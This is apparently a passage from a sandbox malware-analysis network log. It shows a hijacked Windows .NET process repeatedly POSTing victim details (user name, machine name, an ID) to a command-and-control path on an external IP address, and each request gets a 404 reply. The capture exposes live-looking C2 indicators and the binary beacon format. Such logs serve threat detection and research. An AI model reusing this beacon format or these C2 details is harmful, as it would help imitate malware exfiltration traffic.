Oct 30, 2024 07:54:16.894511938 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:17.854389906 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.22	49207	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:18.006603003 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:18.011948109 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:19.013750076 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.22	49208	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:19.444344997 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:19.450763941 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:20.394819975 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.22	49209	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:20.963438988 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:20.968954086 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:21.946748972 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.22	49210	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:22.262099981 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:22.267448902 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:23.266381979 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.22	49211	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:23.900155067 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:23.906512022 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:24.857485056 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:24 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.22	49212	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:25.019417048 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:25.024863005 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:25.983239889 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.22	49213	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:26.257220984 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:26.262723923 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:27.211822987 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:27 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.22	49214	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:27.346591949 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:27.352626085 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:28.301366091 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.22	49215	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:28.442483902 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:28.450793028 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:29.421217918 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.22	49216	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:29.998332977 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:30.003997087 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:30.992307901 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.22	49217	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:31.506217003 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:31.512150049 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:32.463643074 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.22	49218	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:32.771766901 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:32.777147055 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:33.733788013 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.22	49219	94.156.177.220	80	3128	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:33.904872894 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:33.910258055 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:34.864518881 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.22	49220	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:35.099098921 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:35.104496002 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:36.062658072 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.22	49221	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:36.236087084 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:36.241426945 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:37.197973013 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.22	49222	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:37.374737024 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:37.380091906 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:38.366045952 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.22	49223	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:38.498739958 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:38.504153967 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:39.625022888 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.22	49224	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:39.762737989 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:39.768034935 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:40.726536989 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.22	49225	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:40.870287895 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:41.176219940 CET	395	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 00 01 00 01 00 06 00 01 00 01 00 00 00 01 00 30 00 00 00 44 00 45 00 34 00 32 00 32 00 39 00 46 00 43 00 46 00 39 00 37 00 46 00 35 00 38 00 37 00 39 00 46 00 35 00 30 00 46 00 38 00 46 00 44 00 33 00 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
Oct 30, 2024 07:54:41.819596052 CET	236	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 30 Oct 2024 06:54:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 23 Connection: close X-Powered-By: PHP/5.4.16 Status: 404 Not Found Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.22	49226	94.156.177.220	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:54:41.964993000 CET	246	OUT	POST /simple/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.220 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 508F6F5C Content-Length: 149 Connection: close
Oct 30, 2024 07:54:41.970510006 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 35 00 38 00 35 00 35 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus258555ALBUS-PC0DE4229FCF97F5879F50F8FD3
